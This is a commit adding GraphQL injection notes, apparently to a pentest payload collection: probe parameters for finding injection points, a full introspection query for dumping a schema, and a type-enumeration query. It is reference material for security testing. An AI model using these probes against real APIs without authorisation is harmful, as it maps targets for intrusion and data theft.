Added GraphQL injection notes

GraphQL Injection/README.md

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+# GraphQL injection
+
+GraphQL is a query language for APIs and a runtime for fulfilling those queries with existing data.
+
+## Exploit
+
+Identify an injection point
+
+```
+?param={__schema{types{name}}}
+```
+Check if errors are visible
+
+```
+?param={__schema}
+?param={}
+?param={thisdefinitelydoesnotexist}
+```
+
+Enumerate Database Schema with the following GraphQL query
+
+```
+fragment FullType on __Type {
+  kind
+  name
+  description
+  fields(includeDeprecated: true) {
+    name
+    description
+    args {
+      ...InputValue
+    }
+    type {
+      ...TypeRef
+    }
+    isDeprecated
+    deprecationReason
+  }
+  inputFields {
+    ...InputValue
+  }
+  interfaces {
+    ...TypeRef
+  }
+  enumValues(includeDeprecated: true) {
+    name
+    description
+    isDeprecated
+    deprecationReason
+  }
+  possibleTypes {
+    ...TypeRef
+  }
+}
+fragment InputValue on __InputValue {
+  name
+  description
+  type {
+    ...TypeRef
+  }
+  defaultValue
+}
+fragment TypeRef on __Type {
+  kind
+  name
+  ofType {
+    kind
+    name
+    ofType {
+      kind
+      name
+      ofType {
+        kind
+        name
+        ofType {
+          kind
+          name
+          ofType {
+            kind
+            name
+            ofType {
+              kind
+              name
+              ofType {
+                kind
+                name
+              }
+            }
+          }
+        }
+      }
+    }
+  }
+}
+
+query IntrospectionQuery {
+  __schema {
+    queryType {
+      name
+    }
+    mutationType {
+      name
+    }
+    types {
+      ...FullType
+    }
+    directives {
+      name
+      description
+      locations
+      args {
+        ...InputValue
+      }
+    }
+  }
+}
+
+```
+
+Enumerate the definition of interesting types using the following GraphQL query, replacing "User" with the chosen type
+
+```
+{__type (name: "User") {name fields{name type{name kind ofType{name kind}}}}}
+```
+
+## References
+
+* [Introduction to GraphQL](https://graphql.org/learn/)
+* [GraphQL Introspection](https://graphql.org/learn/introspection/)
+